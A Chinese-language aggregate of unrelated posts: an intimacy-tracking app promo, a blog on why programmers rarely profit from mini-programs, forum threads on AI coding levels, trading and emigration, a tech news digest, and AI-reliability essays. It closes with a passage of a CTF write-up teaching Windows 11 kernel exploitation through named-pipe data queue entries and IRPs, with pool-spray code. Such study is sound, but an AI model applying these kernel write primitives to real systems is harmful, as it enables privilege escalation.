2026年1月

在主题下方评论,OP 将在今日 18:00 ( UTC+8 )在评论中抽取 20 个兑换码(年度 * 5 , 月度 * 5 , 季度 * 10 ),以及烦请在 producthunt 中评论或点赞

Do? 是您探索亲密关系与性健康的私人伴侣。无论是独自探索身体的奥秘,还是与爱人共度激情时刻,Do? 都能帮您记录爱、理解爱,让每一次心动都有迹可循。

性健康也是健康的重要一环。我们相信,通过记录与回顾,您能更好地了解自己的身体韵律,提升亲密质量,拥抱更愉悦的生活。

为什么选择 Do?

唯美的亲密日记
告别枯燥的列表。Do? 采用精美的日历与时间轴设计,为您珍藏每一次独处或相聚的记忆。优雅的界面设计,只为匹配您最私密的时刻。

看得见的激情
与 HealthKit 和 Apple Watch 无缝同步。实时监测心率起伏,计算亲密运动的卡路里消耗。通过数据,直观感受“慢热”的温存与“巅峰”的狂野。

探索身体的秘密
您是周末派还是工作日派?偏爱清晨的唤醒还是深夜的缠绵?通过 GitHub 风格的年度热力图和详尽的图表分析,发现您潜意识里的性爱偏好与规律。

极致的隐私保护
您的隐私是我们的底线。Do? 的所有数据仅存储在您的设备或私有 iCloud 中,我们无法查看。支持 FaceID/TouchID 锁定,给您的秘密加把锁。

沉浸当下
独立的 Apple Watch 应用让您可以抬手即录,无需寻找手机。让科技隐于无形,让您全身心投入当下的感受。

核心功能:
• 全面记录: 时长、姿势、地点、保护措施,细节尽在掌握。
• 伴侣管理: 以尊重的方式,更有序地记录与不同伴侣的点滴回忆。
• 深度洞察: 按周、月、年回顾您的亲密历程,读懂身体的语言。
• 个性定制: 自定义主题色、App 图标和标签,打造专属于您的私密空间。

下载 Do?,开启您的亲密健康探索之旅。

AppStore 链接
X
tg

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。


刷到一个挺扎心的话题:程序员为什么不自己做产品赚钱。

身边还真有不少人问过类似的话:"你天天写代码这么厉害,怎么不自己搞个App、做个小程序?随便弄弄不就发财了?"

每次听到这种问题,我都不知道该从哪儿开始解释。

最近在 X 乎上看到同行的回答,看完只能说:太真实了。

理想很丰满、现实很骨感

首先,假装我们是程序员,某天深夜加班回家,瘫在沙发上刷手机,突然一个念头炸开——"我去,这个功能市面上根本没有!我要是做一个,肯定爆火!”。

脑子里的画面瞬间清晰:产品上线、用户疯涨、投资人排队、财务自由...,满脑子都是"老子不干了,要创业"。

说干就干,流程走起来:

第一步:注册账号结果发现邮箱早就被自己多年前注册过,还冻结了。解冻、换邮箱,折腾一圈。

第二步:想名字绞尽脑汁想了个好名字,一搜,已被占用。再想想想,终于通过。

第三步:开发前端后端一把抓,不会前端?没事,Ai结伴编程一把梭。uniapp启动,一套代码多端运行,微信、QQ、抖音、快手平台全都要上。

第四步:买服务器,阿里云一核两G,一年600块,付款的时候手还没抖。

第五步:搞域名,随便挑一个,一年30块,便宜。

第六步:备案到这里,噩梦开始了。拍照、填表、等审核,来来回回折腾。好不容易过了,提交小程序审核——"该项目类型个人不支持,需要企业认证。"

卒。亏损-630元。

但程序员嘛,头铁。不信邪,继续:

第七步:注册公司个体户要经营场所,干脆直接注册公司。准备材料、开对公账户、刻公章,又是一顿操作。

第八步:重新认证企业认证要的材料堆成山,干脆重新注册个小程序。又是想名字(原来的还要等两天才能释放)、填资料、承诺书、盖章...

终于,小程序上线了。

上线只是开始,赚钱才是难题。

每天努力宣传、引流,结果广告收益长这样:昨日收入0.65元。

对,你没看错,六毛五。折线图上的曲线在0.3元到1.8元之间反复横跳,月收入6.72元。服务器钱还没赚回来,先赔进去几百块。

什么会这样?

  • 个人开发者不能收费,只能通过挂广告,而广告收入低到离谱。激励广告单价居然只有4.29元/千次展示,Banner广告更惨,几块钱千次展示。算笔账:日访问量要达到2万,才能日入500。2万UV什么概念?很多小公司的官网一天都没这么多人。
  • 推广难,小程序是个封闭生态,你不能诱导分享,否则直接封号。只能从其他平台往微信导流,但用户路径一长,流失率奇高。要开通流量主还得先引流500人,这第一道门槛就卡死不少人。
  • 审核机制让人头大,页面上文字一多,就说你涉及"内容资讯",不给过。个人开发者经营类目受限,动不动就踩红线。

不是技术问题,是商业问题

程序员不做小程序赚钱,不是因为不会写代码,而是因为写代码只是万里长征第一步。

做一个能赚钱的小程序,需要:

  • 产品能力:做什么?解决谁的什么问题?凭什么用你的?
  • 运营能力:流量从哪来?怎么留存?怎么变现?
  • 商业资质:公司、对公账户、各种许可证,合规成本不低;
  • 时间和精力:白天上班,晚上搞副业,服务器半夜挂了还得爬起来修。

而大多数程序员,只是喜欢写代码而已。让他们去搞流量、谈商务、处理工商税务,比写一万行代码还痛苦。

更扎心的是,就算你愿意干这些,小程序的红利期也早过了。2017年刚出来那会儿,确实有人靠简单工具类小程序赚到第一桶金。现在?各大平台库存量几百万个,用户注意力被某音、被红书切得稀碎,新入局者基本就是炮灰。

成功案例

网上经常能看到"做小程序月入过万"的帖子,但仔细看会发现,要么是卖课的,要么是有特殊资源的(比如手里有公众号矩阵导流),要么是早期入局者吃到了红利。
对于普通程序员来说,接个外包项目,按时薪算可能比折腾三个月小程序赚得还多,还省心。

技术只是工具,商业才是战场。会拿锤子的不一定会盖房子,会写代码的不一定能做出赚钱的产品。这不是技术问题,这是两个完全不同的赛道。

最后

所以,开发一个小程序到底能不能赚钱?

能,但跟你关系不大。

要么你有现成的流量池,比如几十万粉丝的公众号、抖音号,小程序只是变现工具;要么你有特殊资源,比如独家数据、行业资质;再要么你踩中了某个极小概率的风口,比如当年疫情期间的健康码周边工具。否则,个人开发者大概率是炮灰。

写代码是确定性的事,输入逻辑输出结果;做生意是概率性的事,投入不一定有回报。 大多数人适合前者,却误以为自己能驾驭后者。

你呢?有没有过"做个产品改变世界"的冲动?最后成了吗?

准备在小年那天开 800 公里回家,总有一种作死的感觉,根据以前的经验是早点出发比较好,比如凌晨四五点。

现在最怕的就是雨雪天气,在南方往北方走,单独换个雪地胎全程高速也不现实,而且也不一定下雪,只能看天了。

在人工智能系统的落地实践中,一个反复出现的现象是: 智能体在演示环境中表现良好,但在真实业务中却难以长期稳定运行。

这类问题往往并非源于模型能力不足,而是系统尚未完成从“模型驱动”向“工程约束驱动”的转变。一个可持续运行的智能体系统,本质上是一套对不确定性进行治理的工程体系。

一、从模型成功到系统成功的工程认知转向

与传统软件不同,智能体的推理过程天然具有概率性。因此,生产级系统的稳定性并不依赖模型“更聪明”,而取决于是否建立了明确的工程边界。

1. 确定性围栏的系统化设计

稳定运行的智能体并非黑盒推理,而是被结构化逻辑包裹的计算单元。

  • 输入侧约束:对用户请求进行意图识别、能力边界校验,明确拒绝无法支持或风险过高的指令。
  • 输出侧约束:对模型结果实施严格的格式校验,确保 JSON、函数调用或结构化文本始终可被下游系统解析。

确定性围栏的作用,不在于消除失败,而在于限制失败的形态。

2. 使用状态机管理任务路径

演示级系统通常依赖线性对话,而生产环境必须显式建模任务状态。

通过将任务拆解为明确的状态节点(如任务解析、信息获取、结果生成、用户确认),可以显著降低长路径推理中的逻辑漂移,使系统行为具备可预测性。

二、推理链条的系统性脆性问题

在多步任务中,即便单步错误率较低,也会随着链条长度迅速放大,这是智能体不稳定的核心来源。

1. 任务原子化,而非整体托管

成熟系统不会将复杂目标一次性交由模型自由推理,而是采用分治策略:

  • 将目标拆分为多个原子子任务
  • 每个子任务使用单一目标的 Prompt
  • 子任务之间仅通过结构化数据传递上下文

其本质是将不可控推理拆解为可验证步骤。

2. 默认失败的容错与自愈机制

生产系统必须假设模型一定会出错。

  • 自动修复:当工具调用失败或格式校验不通过时,将错误信息反馈给模型进行修正。
  • 回退路径:多次失败后触发回溯或人工介入,避免系统陷入无意义循环。

系统的成熟度,体现在其知道何时停止继续尝试。

三、支撑稳定运行的工程底座能力

1. RAG 的工程化落地重点

生产级检索增强生成关注的不是召回数量,而是噪声控制。

  • 语义与关键词混合检索
  • 检索结果重排序
  • 输入上下文压缩与裁剪

RAG 的目标是减少模型误判空间,而非提供更多信息。

2. 可观测性是稳定性的前提

无法被观测的系统,无法被持续优化。

关键监控指标通常包括:

  • Token 消耗分布
  • 全链路推理追踪
  • 基于业务目标的端到端成功率

只有当系统行为可以复现,稳定性才具备工程意义。

四、衡量智能体稳定性的工程指标

维度指标定义生产级要求
执行一致性相同输入下逻辑路径重合度≥90%
格式合规率输出可被系统解析100%
处理时效单次任务闭环耗时满足 SLA
异常拦截率无效指令被优雅处理≥95%

这些指标衡量的不是模型能力,而是系统可信度。

五、从“聪明”到“可靠”的工程跃迁

智能体从 Demo 走向生产,并非一次模型升级,而是一种工程范式的转变:

  • 分治复杂问题
  • 在全链路设置防御性约束
  • 构建错误可捕获、可修复、可统计的闭环
  • 以真实业务指标驱动系统演进

当智能体能够在不确定环境中持续、可预测地输出价值时,行业中通常将这一阶段称为智能体来了

阮一峰的周刊今日的 title 讲的是 google 程序员 Steve Yegge 最新的文章 https://steve-yegge.medium.com/welcome-to-gas-town-4f25ee16dd04 中 对 AI 的看法
他说 AI 编程有 8 级
第 1 级,还没有接触到 AI 编程,你的 IDE 还是正常的样子

第 2 级,你在 IDE 装了 AI 插件,开启了侧边栏,AI 时不时提出代码建议,问你是否接受( Yes or No )。

第 3 级,你开始信任 AI 编程,进入了 YOLO 模式("你只活一次"模式,You Only Live Once )。为了节省时间精力,你不再逐条确认 AI 的建议,只要是 AI 生成出来的东西,你就一路按 Yes ,统统接受。

第 4 级,AI 占据的屏幕宽度越来越大,手工编辑的代码区仅用于比对代码差异。

第 5 级,你索性不要代码区了,改用命令行(比如 Claude Code ),所有的屏幕宽度都留给了 AI 。你现在不看 AI 的生成结果了,只看它的完成进度。

第 6 级,你觉得只用一个 AI 太慢,于是打开 3 到 5 个窗口,同时进行 AI 编程,加快速度。

第 7 级,同时打开的 AI 编程窗口到了 10 个以上,已经是你手工管理的极限了。

第 8 级,你开始使用 AI 任务编排器,让计算机管理并行的多个 AI 编程。

我现在应该是 LEVEL 6 ,claude code + 某很便宜的国产模型,使用强度没那么大 但是之前也用过 vibe-kanban 之类的开源工具 感觉体验不太好 ,总会报错,还不如多窗口。 但是代码类的 ai 生成后 我还是会自己 review 并提交

v 站的大佬们都到哪一个级别了 具体使用方式是什么呢

小米发布 REDMI Turbo 5 系列手机

1 月 29 日,小米正式发布 REDMI Turbo 5 系列手机。

其中,REDMI Turbo 5 Max 搭载基于 3nm 工艺打造的天玑 9500s 芯片。据悉,天玑 9500s 采用了全大核架构并配备了大规模缓存,CPU 最高主频达 3.73GHz,缓存容量提升至 29MB。屏幕与设计方面,新机配备 6.83 英寸 1.5K 分辨率屏幕,采用 M10 新型发光材料,峰值亮度最高达 3500nits,支持 3840Hz PWM 与 DC 双重调光。

LaoabEMAKobA1Px26BGcIAYBnQg

续航与充电方面,REDMI Turbo 5 Max 内置 9000mAh 池,官方称续航表现可媲美部分 10000mAh 机型,支持 100W 有线快充、100W PPS 协议以及 27W 有线反向充电。影像上,红米 Turbo 5 Max 搭载 50MP、 ƒ/1.5、1.6um 像素高动态主摄,并支持高动态视频拍摄。

REDMI Turbo 5 Max 有黑色、蓝色、白色和橙色 4 个颜色,基础款 12GB 内存、256GB 存储,起售价格为 2499 元。

TQ0CbtXCZo3tSOxbPNDcYqKNnEw

REDMI Turbo 5 标准版则采用了基于 4nm 工艺打造的天玑 8500-Ultra 芯片。屏幕尺寸为 6.59 英寸,其他参数和 REDMI Turbo 5 Max 保持一致。,REDMI Turbo 5 内置 7560mAh 大容量电池,支持 100W 有线快充、27W 有线反向充电,并兼容百瓦级 PPS 快充协议。REDMI Turbo 5 标准版有黑色、青色和白色 3 个颜色,基础款 12GB 内存、256GB 存储,起售价格为 1999 元。来源


微信发布针对第三方违规行为的专项打击公告

1 月 29 日,微信发布针对第三方违规行为的专项打击公告,重点整治虚假营销、过度营销及危害数据安全等行为。

微信表示,近期结合用户投诉举报,对严重扰乱生态秩序、侵害用户权益的第三方违规行为开展集中治理,主要包括虚假营销及相关欺诈行为、过度营销与诱导分享行为,以及违规获取用户数据和使用外挂工具等危害隐私与安全的行为。平台将依据相关法律法规及多项微信平台协议,对违规链接、小程序和第三方 App 采取限制访问、功能封禁、下架封号等分级处置措施。

微信还表示,虚假营销行为涉及虚构返利抽奖、冒充官方身份诈骗等手段,常伴随用户财产损失与个人信息非法采集;过度营销通过高频推送和强制跳转影响体验;外挂及数据窃取行为则通过自动化脚本和技术手段操控微信功能,直接威胁平台安全。微信称将结合技术巡检与用户举报持续清理相关违规行为。来源


MiniMax 稀宇科技发布 MiniMax Music 2.5 模型

MiniMax 稀宇科技于 1 月 29 日正式发布音乐生成模型 MiniMax Music 2.5。该模型支持全段落标签控制,精准支持包括 Intro(前奏)、Bridge(桥段)、Interlude(间奏)、Build-up(情绪铺垫)及 Hook(副歌)在内的 14 种音乐结构变体,可用于高复杂度音乐作品的创作表达。

GDGLbFp4toZeuExQNtRc5ynwnac

针对华语流行音乐场景,MiniMax Music 2.5 也进行了深度优化,覆盖慢歌、说唱以及纯中文与中英文混搭等多种风格,并优化了人声合成,能实现更连续细腻的转音、自然起伏的颤音,以及胸腔与头腔共鸣的灵活切换。在男女对唱场景中,MiniMax Music 2.5 可呈现更具协同感的声线配合,支持交替演唱和多层次和声表现。

音色方面,模型支持 100 余种乐器,并对混音处理进行优化,可以保持人声与伴奏清晰分离。同时,MiniMax Music 2.5 深度适配专业创作工作流,官方表示其可应用于影视配乐、游戏动态音效、录音室级流行音乐制作及品牌定制声音设计等专业场景。来源


微软承诺与 Copilot 互动不用于训练 AI

微软于 1 月 28 日发布声明,回应外界对其数据收集与隐私保护的长期关注,重申用户对个人数据拥有完全控制权,可随时访问、转移或删除相关信息,且数据仅在获得用户同意后才会用于个性化广告等用途。

DRWSbN76poXnjXxil9OcYIMkn6e

针对企业及个人用户对 Microsoft 365 Copilot 的隐私担忧,微软进一步承诺将严格隔离用户提示词、生成内容及业务数据,明确不会将其用于训练包括基础大语言模型(LLMs)在内的任何 AI 系统。微软表示,Copilot 将全面继承 Microsoft 365 现有的身份管理、权限控制与合规体系,确保组织数据始终保留在企业自身租户环境中,不会被外部访问或泄露。来源


Chrome 浏览器引入 Gemini 自动浏览功能

Google 于 1 月 29 日宣布为 Chrome 浏览器引入全新 AI 能力,将 Gemini 3 技术深度整合至浏览器侧边栏,提供更智能的交互体验。

AxUSb3lkGoTmuhxO2xqcgXEanDN

同时,Chrome 推出名为「自动浏览」的新功能,面向订阅 Google AI Pro 或 Ultra 的用户开放,支持通过自然语言指令让 AI 代为完成多步骤操作,包括跨网站打开页面、填写表单、比价、管理预约及订阅等流程,从而减少重复操作。在涉及支付或内容发布等敏感行为时,系统仍需用户手动确认。

此外,浏览器右侧新增的 Gemini 面板可与 Gmail、日历、地图、航班及购物等服务联动,AI 能基于跨应用数据提供智能建议,例如从邮件中提取行程信息并匹配航班后自动生成日程安排。Chrome 还内置生成式图像工具 Nano Banana,用户可直接在浏览器内通过文字提示生成或编辑图像内容。来源


特斯拉计划停产 Model S 与 Model X

马斯克在最新一次财报电话会议中向投资者透露,特斯拉计划于 2026 年第二季度停止生产 Model S 与 Model X 两款车型,以便在弗里蒙特工厂为 Optimus 人形机器人项目腾出制造产能。他表示,这一调整反映出公司战略重心正逐步向自动驾驶与机器人技术领域转移,并建议有意购买上述车型的消费者尽早下单。

Model S 于 2012 年推出,Model X 于 2015 年发布,曾长期作为特斯拉旗舰产品线的重要组成部分。随着公司资源逐步向 Model 3 与 Model Y 倾斜,两款高端车型销量持续走低。数据显示,2025 年归入「其他车型」类别的销量同比下滑超过 40%,与此同时特斯拉第四季度利润亦出现明显下降。来源


看看就行的小道消息

  • 有消息称,罗技 G 即将正式发布 G325 LIGHTSPEED 头戴式无线耳机。该产品搭载 32 mm 驱动单元,阻抗为 32 Ω;配备全向收音波束成形麦克风,并支持 AI 降噪与 24-bit 音频。在设计上,耳机采用无缝透气针织布料、柔软头带与双层耳罩,整机重量为 212 g。连接方面,支持蓝牙 5.2 以及 2.4 GHz 罗技 LIGHTSPEED 无线模式,电池续航超过 24 小时。价格方面,耳机定价为 79.99 欧元。来源
  • 树莓派官方正筹备为 Compute Module 5 推出一款智能显示模块。该模块本质上是一块适配板,可将 CM5 的算力与能效直接集成至兼容显示屏,同时额外提供 HDMI 输出接口,用于驱动第二路独立视频信号,以满足多屏显示或复杂信息呈现需求。模组板还预留 M.2 扩展插槽,便于用户加装 AI 加速模块,为本地推理与智能应用预留算力空间。该智能显示模块将遵循 Intel SDM 规范设计,官方将其定位于航班信息系统、零售与企业数字标牌以及工业级显示终端等应用场景。据悉,该模块计划于今年晚些时候推出,并将于下周在西班牙举行的 ISE 2026 展会上首次公开亮相。来源


少数派的近期动态

  • 我们正在优化并改进新的首页版式,如果你在使用过程中发现了任何问题或者有改进建议,请通过反馈表单告知我们。首页反馈收集
  • 将设计装进耳朵:少数派×飞傲联名 CD 机盖板设计大赛已经开始啦。了解详情
  • 比第三方 Apps 更好使:盘点 Apple 生态经典好用的原生应用。看看都有啥

你可能错过的好文章

> 下载 少数派 2.0 客户端、关注 少数派公众号,解锁全新阅读体验 📰

> 实用、好用的 正版软件,少数派为你呈现 🚀

    美区账号已购 app 中找不到在国区已购的抖音,豆包,汽水音乐这些 app 了,但是购买历史里面有记录,也未隐藏,这是咋回事?以后没法在美区更新和从已购 app 里面下载这些 app 了?我最后一次更新这些 app 是在 1 月 22 日、23 日。
    港区是不是也会这样?不想来回切账号/换区,想呆在一个区就能下载/更新所有 app

    白银现在大约 35 元/克,按我现在的收入折算,大约 150 克白银,大约也即是月俸 3 两白银。

    地铁上玩手机的,10 个有 8 个在看财经,还有两个在手机开户,目前看来行情接近见顶,可以逐步止盈了

    2026年1月29日,进迭时空正式发布全球首款符合RVA23规范的高性能RISC-V AI CPU芯片K3,标志着RISC-V架构在高性能和AI计算领域的进程迈出关键一步。与此同时,OpenAtom openKylin(简称“openKylin”)已同步完成openKylin操作系统对K3芯片的深度适配与全面支持,构建RISC-V RVA23版本,实现软硬件协同优化,充分释放芯片核心算力,为相关行业应用落地筑牢生态底座。

     作为openKylin社区深度合作伙伴,进迭时空与openKylin长期以来秉持“共筑RISC-V生态底座”的核心目标,在RISC-V内核优化、AI软件栈融合、编译器适配等关键技术领域开展全方位深度合作,携手推RISC-V软硬件生态的协同创新与成熟完善。此次双方的适配合作,重点攻克了RVA23指令集的新特性融合与高性能异构调度难题:

    • RVA23 规范深度优化:充分利用RVA23配置文件中的关键特性(如 Vector 1.0 矢量扩展、位操纵扩展等),openKylin针对K3芯片的8核架构进行了全面的编译优化和支持。
    • 深度适配AI硬件加速:针对K3芯片自带的强大AI算力,openKylin通过优化底层驱动,实现了图像识别、语音处理等AI应用在openKylin上运行更加流畅,显著降低了计算延迟,让芯片的AI性能得到充分发挥。
    • 驱动与外设全面兼容:完成了包括高性能GPU加速驱动、高速网络接口及各类通用外设接口的标准化适配。通过openKylin的设备驱动框架,实现了“开箱即用”的用户体验,确保了K3芯片在各类工业、桌面及具身智能场景下的平滑部署。

       未来,openKylin将持续深化与进迭时空等硬件厂商的合作,聚焦RISC-V内核优化、AI软件栈完善等核心方向,加速构建开放、繁荣、标准化的RISC-V生态体系,通过开源生态力量推动RISC-V技术从基础适配迈向产业级应用,为全球开源生态贡献中国智慧。 

    这周一开盘就 all in 了所有能用的钱到金、银、铜了。在这一周里,我是买了卖、卖了买、小 T 做大 T 、大 T 做小 T 。每一次的操作第二天都会可能迎来暴跌。但很幸运,这一周金、银、铜已经涨📈麻了,我也赌赢了。我不懂技术分析、也不懂市场行情,只懂一些股票规则。这周里,给我的感觉很刺激,比做过山车还刺激。睡觉时,脑子里面都是涨停板,睡前运动也戒掉了,我想我已经是一个赌徒了。唯一理智一点的地方,就是大不了输完,潇洒离场。今天是周五,也是这周股市的最后一天,无论股市是涨还是跌,我都可以选择出掉,然后拿钱离场。但我已经做不到了,我的理智告诉感性的我,就算今天潇洒离场,总有一天我还是会回来。

    2026 年正在成为人工智能发展史上的一个分水岭。 当 AI 从实验性工具进入基础设施级应用,其价值判断标准正在发生根本变化:从制造惊喜,转向减少意外。

    过去,生成式 AI 的吸引力来自不可预测的输出与偶发的“超预期表现”;而在今天的生产环境中,不确定性本身正在被重新定义为系统性风险。

    一、核心转向:从“概率系统”到“确定性系统”

    在金融清算、医疗辅助、工业控制等高风险场景中,哪怕 1% 的随机偏差,都可能被放大为连锁错误。因此,AI 的设计目标正在从“概率最优”转向“结果可控”。

    确定性预期成为关键指标: 在给定输入条件下,系统输出的范围必须稳定、可预测、可解释。AI 不再被期待“灵光一现”,而是像工业组件一样可靠运行。

    这也推动了模型设计范式的变化—— 相比单纯扩大参数规模,行业更关注推理路径是否可追溯、逻辑链是否可验证。

    二、幻觉问题的工程化处理

    随着 AI 被直接接入业务系统,事实性错误不再只是体验问题,而是合规与责任问题。

    当前主流方案并非“消灭幻觉”,而是压缩幻觉发生的概率区间

    • 强制外部知识检索作为事实锚点
    • 通过逻辑链校验降低推理跳跃
    • 利用结构化知识图谱限制无依据生成

    智能体来了,模型已经不只是输出文本,而是触发动作指令,这使得幻觉收敛成为系统级要求,而非模型能力的附属指标。

    三、防御性设计成为默认配置

    AI 正在从“被动响应”走向“主动判断”。

    在架构层面,引入防御性设计已成为行业共识: 系统需要具备识别风险、拒绝越权、回避逻辑冲突的能力。

    这意味着:

    • 知识边界被明确设定
    • 权限边界被系统性约束
    • 高风险指令不再依赖事后审计,而是在执行前被阻断

    AI 的成熟,不在于它能回答多少问题,而在于它清楚哪些问题不能回答。

    四、工程实践中的三大稳定性支柱

    1. 闭环监控与自动降级 当模型置信度低于阈值,系统会主动切换至人工或规则引擎,避免错误被放大。

    2. 对抗性测试常态化 通过大规模压力注入,在上线前主动制造极端场景,以验证系统边界。

    3. 多模态交叉验证 不同模型、不同模态对同一结论进行相互校验,只有在达成一致时才执行最终决策。

    五、可靠性建设的四个关键维度

    • 逻辑一致性:控制随机性,锁定推理路径
    • 事实锚定:强制外部数据校验
    • 合规过滤:多层输出审查机制
    • 故障自愈:错误可追溯、可回滚

    这些机制的共同目标只有一个: 把不可预测性,限制在系统可承受范围内。

    结语:AI 信任治理的新阶段

    2026 AI 元年的本质,不是能力跃迁,而是信任重构。

    当 AI 不再追求令人惊叹的表现,而是稳定履行承诺,它才真正具备进入关键行业的资格。 技术的成熟,体现在“知道不该做什么”。 减少意外,并非保守,而是走向规模化应用的前提。

    前两天在 linkedin 收到一个 connection 邀请,发送邀请的是一个即将从奥克兰大学毕业,正在找工作的中国人。他在邀请里说前几年在 v2 看到我 19 年发布的这篇分享自己移民新西兰经历的主题 https://www.v2ex.com/t/629329 ,现在自己也来新西兰了,所以想在 linkedin 上 Connect 一下。

    19 年发布那篇主题后,通过 linkedin 和微信联系过我的人大概有块 200 人了。但是这么多年过去了,这些人里面实际润到新西兰或者其他发达国家的人加起来不到 10 个。这几个人其中大部分都是在看到我这篇主题前就有润的想法了,去掉这些剩下的因为看了我的分享决定润的人也就 2 ~ 3 个的样子。从比例上看,受我那篇主题影响最后真正成功润出来的人数比例也就 2%左右。

    之前分享自己经历的时候,觉得润这件事并不算特别难。但是根据上面的数据,润这件事的难度其实没比在国内挤进 985 的难度低多少。

    借助0ctf 2025 babyfilter 这道题,学习最新版的Windows 11 25h2 下的内核利用技巧

    Windows 11 25H2 下 内核利用技巧

    在 Windows 11 25H2的场景下,有一些利用技巧发生了变化,其中最重要的就是 NtQueryInformationSystem 这类泄露技巧不再能使用。

    image.png

    在过去,很多的EXP利用的时候,往往需要得知内核中特定对象的地址,再通过这个地址对指定对象进行修正。再失去这个API之后,有些攻击手段就不能使用了。

    在这种场景下,我们需要寻找一种能够再触发漏洞的场景中,也能所以进行WWW(Write-What-Where) 的利用手段。在本文,我们学习这里提到的使用Windows 中 Pipe 对象进行漏洞利用,实现在不使用NtQuery的场景下进行漏洞利用

    利用场景

    Pipe的使用场景如下

    使用条件:

    (1)能够创建命名Pipe对象的权限
    (2)存在一个能够UAF/越界写的能力

    利用思路:

    通过越界写/UAF,在Pipe的DQE列表中的一个对象的完整控制权,之后利用其中的IRP对象,实现读写原语构造。

    效果:

    能够伪造IRP地址 -> 任意读
    任意读+写入真实IRP对象内容后,控制伪造IRP -> 任意写

    利用技巧介绍

    在了解利用前,我们需要了解Windows的Pipe对象在内存中是怎么样子存放和工作的。

    PIPE

    命名管道在创建的时候,一般会有一个服务端和一个客户端。一般创建的时候,都是使用类似

        ph->Write = CreateNamedPipeW(
            L"\\\\.\\pipe\\exploit_cng",
            PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
            PIPE_TYPE_BYTE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            quota,
            0,
            0,
            0);
    

    这种代码负责创建。此时这一段的Pipe为服务端的写入端。一般使用的时候,对应的还有一个客户端,使用CreateFile进行连接:

    ph->Read = CreateFile(L"\\\\.\\pipe\\exploit_cng", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
    DWORD written;
    

    在我们做利用的时候,通常是需要我们同时打开读写双端的pipe。当我们创建一个Pipe的时候,在内核会创建一个对应的Context Control Block (CCB)对象(下文我们直接用CCB或者Block描述这个对象)。这个对象结构体记录了Pipe这种C/S结构下需要保持的一些成员信息:

    struct DATA_QUEUE_ENTRY {
        LIST_ENTRY NextEntry;
        _IRP* Irp;
        _SECURITY_CLIENT_CONTEXT* SecurityContext;
        uint32_t EntryType;
        uint32_t QuotaInEntry;
        uint32_t DataSize;
        uint32_t x;
        char Data[];
    }
    

    这个结构体是没有导出的,所以不能用windbg进行检查。这个结构体主要是由驱动npfs进行实现的。在有些PoC或者头部文件中,这个结构体也被称之为NP_DATA_QUEUE_ENTRY。他们本质上是同一个对象。之后我们可能会用DQE来简称这个CCB中的对象。

    为了能够稳定的申请指定大小的内存,我们需要准确的计算当前需要的池大小,通常满足这样的数学关系:

    #define TARGET_CHUNK_SIZE 0x1000
    #define SPRAY_SIZE (TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY))
    

    不过,实际上我们申请的时候:

    ph->Write = CreateNamedPipeW(
        L"\\\\.\\pipe\\exploit_cng",
        PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        quota,
        0,
        0,
        0);
    

    此处的quote通常为TARGET_CHUNK_SIZE,这里只是用于标记我们的pipe需要存放的最大数据。在这之后,我们需要调用Write操作:

    BYTE spray_data[SPRAY_SIZE];
    memset(spray_data, 'X', sizeof(spray_data));
    
    if (!WriteFile(ph->Write, spray_data, sizeof(spray_data) - 16, &written, nullptr)) {
        printf("failed to write pipe: %lu", GetLastError());
        CloseHandle(ph->Read);
        CloseHandle(ph->Write);
    }
    

    这个时候,程序才会真正的创建一个DQE,用于存放我们这一次需要写入Pipe的数据的基本信息。这里的SPRAY_SIZE就是之前计算过的,用TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY)计算出来的数据大小(再减去16,也就是池头部大小)

    Data Queue Entry

    这里我们简单介绍一下DQE中各个比较关键结构的相关属性

    NextEntry

    在内存中,不同的DQE会使用链表结构进行串联:

    DQE1.png

    在我们调用WriteFile的时候,就创建一个Entries。而如果当一个Entries中的数据被ReadFile读完了,就会将这个对象从双向链表中去掉。

    EntryType

    在Pipe中,存在两种类型的实例:缓存对象(Buffered Entries)和非缓存对象(Unbuffered Entries),这个就是使用EntryType进行存储。

    缓存对象 Buffered Entries

    正如结构体所示:

    struct DATA_QUEUE_ENTRY {
        LIST_ENTRY NextEntry;
        _IRP* Irp;
        _SECURITY_CLIENT_CONTEXT* SecurityContext;
        uint32_t EntryType;
        uint32_t QuotaInEntry;
        uint32_t DataSize;
        uint32_t x;
        char Data[];
    }
    

    需要存放在Pipe中的数据会被直接存放在Data数据中:

    DQE2.png

    常见的CreateNamedPipeW创建的正是这种DQE,这种时候我们使用WriteFile写入的数据就会放在Data中。

    非缓存对象 UnBuffered Entries

    当我们使用APINpInternalWrite(这个API不能直接使用)进行Pipe写入的时候,会导致分配一个非缓存的DQE。此时操作系统会多分配一个IRP交给这个对象:

    DQE3.png

    此时,这个IRP描述的是【一个暂时未写完的数据】,用于存放此时用户态未能及时传入到内核态的数据。

    想要申请这样的对象,可以使用

    NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
    NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, target_buffer, target_size, 0, 0);
    

    这样的方式进行内存分配。这种分配方式的好处在于,可以控制一个完全由用户可控的内存空间,其中

    • target_buffer 为希望控制的内存空间内容
    • target_size 为希望分配的内存大小
    IRP

    正如前面提到的,IRP用于存放一个用户态未能及时传入内核态的数据。它的结构如下

    0: kd> dt _IRP
    ntdll!_IRP
       +0x000 Type             : Int2B
       +0x002 Size             : Uint2B
       +0x004 AllocationProcessorNumber : Uint2B
       +0x006 Reserved1        : Uint2B
       +0x008 MdlAddress       : Ptr64 _MDL
       +0x010 Flags            : Uint4B
       +0x014 Reserved2        : Uint4B
       +0x018 AssociatedIrp    : <unnamed-tag>
       +0x020 ThreadListEntry  : _LIST_ENTRY
       +0x030 IoStatus         : _IO_STATUS_BLOCK
       +0x040 RequestorMode    : Char
       +0x041 PendingReturned  : UChar
       +0x042 StackCount       : Char
       +0x043 CurrentLocation  : Char
       +0x044 Cancel           : UChar
       +0x045 CancelIrql       : UChar
       +0x046 ApcEnvironment   : Char
       +0x047 AllocationFlags  : UChar
       +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
       +0x048 IoRingContext    : Ptr64 Void
